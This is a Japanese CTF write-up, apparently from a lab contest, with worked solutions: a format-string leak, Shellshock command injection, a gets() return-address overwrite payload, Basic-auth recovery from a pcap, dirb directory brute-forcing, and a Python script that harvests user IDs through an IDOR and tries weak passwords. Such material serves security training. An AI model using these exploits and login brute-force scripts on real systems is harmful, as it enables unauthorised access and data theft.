0000| 0x7fffffffdbe0 --> 0x555555559260 --> 0xfbad2488
0008| 0x7fffffffdbe8 --> 0x555555559490 ("flag{test}\n")
0016| 0x7fffffffdbf0 ("AAAAAAAA")
0024| 0x7fffffffdbf8 --> 0x0
0032| 0x7fffffffdc00 --> 0x0
0040| 0x7fffffffdc08 --> 0x0
0048| 0x7fffffffdc10 --> 0x0
0056| 0x7fffffffdc18 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00005555555553a7 in main ()
gdb-peda$
入力した文字列はAAAAAAAA。ローカルで実行するに当たってダミーのflagを用意しており、これがちょうど1つ上のスタックに入ってるので、アドレスを指定して書式文字列攻撃を行えばいい。
X番目のスタックの文字列を参照するには%X$s
を使う。1つ上のスタックは7番目であったので%7$s
とする。
$nc 10.10.10.15 1003
__________ __
\______ \_____ ______________ _____/ |_
| ___/\__ \\_ __ \_ __ \/ _ \ __\
| | / __ \| | \/| | \( <_> ) |
|____| (____ /__| |__| \____/|__|
You > %7$s
Parrot > flag{sRUNzwv4PF4p}
flag{sRUNzwv4PF4p}
ショッカーを倒せ!
対象 IP アドレス:ポート:10.10.10.16:1004
解答方式:flag{************}
バイナリファイルshockに加えてbash_4.3.0が配布される。何をしているかGhidraでmain関数を見てみる。
undefined8 main(void)
{
char local_58 [48];
char local_28 [32];
puts(" _________.__ __ ");
puts(" / _____/| |__ ____ ____ | | __");
puts(" \\_____ \\ | | \\ / _ \\_/ ___\\| |/ /");
puts(" / \\| Y ( <_> ) \\___| < ");
puts("/_______ /|___| /\\____/ \\___ >__|_ \\");
puts(" \\/ \\/ \\/ \\/");
putchar(10);
puts("Shocker > I\'m a shocker! Try to beat me!");
printf("You > ");
fgets(local_28,0x20,stdin);
snprintf(local_58,0x30,"s=%s",local_28);
putenv(local_58);
system("./bash_4.3.0 -c \'echo Shocker \\> $SHOCK level will not bring you down.\'");
return 0;
}
入力された文字列を環境変数sに書き込んだあと、bashを実行しているようだ。
なんやねんこれはと調べたところ、CVE-2014-6271 Shellshockがヒットした。以下のCTFのwriteupの手法でそのままいけた。
実行するコマンドの前に() { :;};
を付け加えるだけ。
$ nc 10.10.10.16 1004
_________.__ __
/ _____/| |__ ____ ____ | | __
\_____ \ | | \ / _ \_/ ___\| |/ /
/ \| Y ( <_> ) \___| <
/_______ /|___| /\____/ \___ >__|_ \
\/ \/ \/ \/
Shocker > I'm a shocker! Try to beat me!
You > () { :;}; /bin/ls
bash_4.3.0
chall
flag.txt
start.sh
Segmentation fault (core dumped)
^C
$ nc 10.10.10.16 1004
_________.__ __
/ _____/| |__ ____ ____ | | __
\_____ \ | | \ / _ \_/ ___\| |/ /
/ \| Y ( <_> ) \___| <
/_______ /|___| /\____/ \___ >__|_ \
\/ \/ \/ \/
Shocker > I'm a shocker! Try to beat me!
You > () { :;}; /bin/cat flag.txt
flag{UgjiH6Ep3Xda}
Segmentation fault (core dumped)
flag{UgjiH6Ep3Xda}
flags 関数呼び出し忘れちゃった。
対象 IP アドレス:ポート:10.10.10.15:1005
解答方式:flag{************}
問題文からしてリターンアドレスを上書きするものだ。
main関数の逆コンパイル結果はシンプルで、入力文字列をスタックに置くだけ。
undefined8 main(void)
{
char local_108 [256];
puts(" _ _ ");
puts(" _ __ ___ _ __ _ __ ___ | |_ ___ ___| |_ ");
puts("| \'_ \\ / _ \\| \'_ \\| \'__/ _ \\| __/ _ \\/ __| __|");
puts("| | | | (_) | |_) | | | (_) | || __/ (__| |_ ");
puts("|_| |_|\\___/| .__/|_| \\___/ \\__\\___|\\___|\\__|");
puts(" |_| \n");
putchar(10);
printf("n0protec > ");
gets(local_108);
return 0;
}
バイナリファイルを逆アセンブルしてflag関数の位置を調べる。
00000000004011a6 <flags>:
4011a6: 55 push rbp
4011a7: 48 89 e5 mov rbp,rsp
4011aa: 48 83 ec 40 sub rsp,0x40
4011ae: 48 c7 45 f8 00 00 00 mov QWORD PTR [rbp-0x8],0x0
4011b5: 00
4011b6: 48 8d 35 4b 0e 00 00 lea rsi,[rip+0xe4b] # 402008 <_IO_stdin_used+0x8>
4011bd: 48 8d 3d 46 0e 00 00 lea rdi,[rip+0xe46] # 40200a <_IO_stdin_used+0xa>
4011c4: e8 e7 fe ff ff call 4010b0 <fopen@plt>
4011c9: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
4011cd: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
4011d1: 48 8d 45 c0 lea rax,[rbp-0x40]
4011d5: be 30 00 00 00 mov esi,0x30
4011da: 48 89 c7 mov rdi,rax
4011dd: e8 9e fe ff ff call 401080 <fgets@plt>
4011e2: 48 8d 45 c0 lea rax,[rbp-0x40]
4011e6: 48 89 c7 mov rdi,rax
4011e9: e8 52 fe ff ff call 401040 <puts@plt>
4011ee: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
4011f2: 48 89 c7 mov rdi,rax
4011f5: e8 56 fe ff ff call 401050 <fclose@plt>
4011fa: 90 nop
4011fb: c9 leave
4011fc: c3 ret
あとは適当に長い文字列でスタックを埋めていき、最後にflagのアドレスを入力してリターンアドレスの位置のスタックを書き換える。
$ (python3 -c 'import os; os.write(1,b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa6\x11\x40\x00\x00\x00\x00\x00\n");') | nc 10.10.10.15 1005
_ _
_ __ ___ _ __ _ __ ___ | |_ ___ ___| |_
| '_ \ / _ \| '_ \| '__/ _ \| __/ _ \/ __| __|
| | | | (_) | |_) | | | (_) | || __/ (__| |_
|_| |_|\___/| .__/|_| \___/ \__\___|\___|\__|
|_|
n0protec > flag{j3Fdc8Mshpm6}
timeout: the monitored command dumped core
Segmentation fault
flag{j3Fdc8Mshpm6}
コンピューターシステムを侵害し、身代金を目的としてデータを暗号化したり、アクセスをブロックしたりするマルウェアは何ですか。
解答形式:全角カタカナ7文字
ランサムウェア
エージェントを使用してエンドポイント上のふるまいを検知し、異常な活動を検出し、攻撃に対する即座な応答を可能にするエンドポイントセキュリティ技術は何ですか。
解答形式:半角英大文字3文字
EDR
RSA 暗号の R の由来になった人物は誰でしょうか?ラストネームをお答えください。
解答形式:全角カタカナ4文字
リベスト
提供したパソコンの通信ログ(Basic.pcapng)を確認して認証情報を探し出してください。 フラグはその Basic 認証でのログイン後のページにあります。
解答方式:flag{************}
pcapngファイルが配布され、中を見るとBasic認証を行っている通信が記録されているので、成功したものを探す。
Authorization: Basic ZmxhZzphR3lSc3FwbmEzRDM=\r\n
。これかな?base64を復号するとflag:aGyRsqpna3D3
、これでログインできた。
flag{d0AqEPxpZpnf}
ゲーム会社に勤めているジョナサンが管理しているサイト( http://10.10.10.6/Wg6LQhmX/ ) 配下のディレクトリに、機密情報(flag)が記載されたテスト用の html ファイルが公開されていると連絡を受けました。 ジョナサンはサイトにあるリンクたどって該当ファイルを見つけ出そうとしましたが、うまくいきませんでした。 攻撃者はどのようにして機密情報(flag)を見つけだしたのでしょうか? あなたは機密情報(flag)を見つけ出し記載されたフラグを確認してください。
解答方式:flag{************}
- ヒントを表示する
- ディレクトリ探索のツールには dirb や ffuf などがあります。
ディレクトリ探索問題。攻撃ツールを使えるVPN環境らしい問題。ツールとかよくわからなかったのでヒントを1つ開けてdirbを使用した。
$ dirb http://10.10.10.6/Wg6LQhmX/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Aug 6 18:27:25 2023
URL_BASE: http://10.10.10.6/Wg6LQhmX/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.6/Wg6LQhmX/ ----
==> DIRECTORY: http://10.10.10.6/Wg6LQhmX/games/
---- Entering directory: http://10.10.10.6/Wg6LQhmX/games/ ----
-----------------
END_TIME: Sun Aug 6 18:28:57 2023
DOWNLOADED: 9224 - FOUND: 0
$ dirb http://10.10.10.6/Wg6LQhmX/games/ -X .html
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Aug 6 18:30:06 2023
URL_BASE: http://10.10.10.6/Wg6LQhmX/games/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.html) | (.html) [NUM = 1]
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.6/Wg6LQhmX/games/ ----
+ http://10.10.10.6/Wg6LQhmX/games/admin.html (CODE:200|SIZE:19)
-----------------
END_TIME: Sun Aug 6 18:30:52 2023
DOWNLOADED: 4612 - FOUND: 1
というわけで games/admin.html を見つけたのでflag入手。
flag{L1h$ZL-!-,es}
以下のアカウントを利用して従業員のアカウント情報を確認してください。
- ログイン画面:http://10.10.10.7/mpk5tdbu/
- ID:user1
- PW:diejuthdkfi14
従業員は100名登録されており、従業員情報は上記のアカウント情報でログイン後、http://10.10.10.7/mpk5tdbu/prof/ で確認ができます。
解答形式:flag{***********}
- ヒントを表示する
- ユーザー情報のページでは URL に注目してください。
- ヒントを表示する
- ユーザー情報ページからユーザー ID 一覧を作成しましょう。
- ヒントを表示する
- ユーザー ID には「@」は使えないみたいです。
writeup作成時点でアクセス不可となっているので画像はないが勘弁して欲しい。
user1でログインして http://10.10.10.7/mpk5tdbu/prof.php?id=1 を見るとそのユーザーのプロフィールが見れる。id=1のところを変えれば他のも見えるんじゃねと思って変えてみると1~100まで閲覧できた。この中にflagがないか探したが見つからず。
他に99人いることがわかったので、user2~user100までのIDでパスワードをpassword又は123456789でログイン試行してみたが、ログインできず。
ここでヒントを全部開けてみたところ、userIDはuser**ではなく自由っぽいことが書いてある。たぶんメールアドレスのユーザー名ではないかと思うので、99人のプロフィールからユーザー名候補を取得してログイン試行するコードを書いた。
import requests
import re
url = "http://10.10.10.7/mpk5tdbu/login.php"
password = "123456789"
session = requests.Session()
postdata = {'userID': 'user1','password':'diejuthdkfi14'}
response = session.post(url=url,data=postdata)
ids = []
for i in range(2,101):
print(i)
url_pro = "http://10.10.10.7/mpk5tdbu/prof.php?id=" + str(i)
response2 = session.get(url=url_pro)
ids.append(re.findall(' ([a-zA-Z0-9\._=-]+)@[a-zA-Z0-9\._=-]+',response2.text)[0])
print(ids)
for idx in ids:
print(idx)
postdata = {'userID': idx,'password':password}
response = requests.post(url=url, data=postdata)
if "dashboard" in response.url:
print(postdata)
break
最初にuser1でログインした状態でprof.php?id=2~100までを表示してメールアドレスの@より前を取得、それらをユーザーIDとしてログインチャレンジ。パスワードの候補2種類は手動で修正するので最大2回走らせる。
実行するとヒットするユーザーIDを発見、{'userID': 'kimi_ihara', 'password': '123456789'}
。この情報でログインするとflag取得。
flag{?]_P43gUR?yK}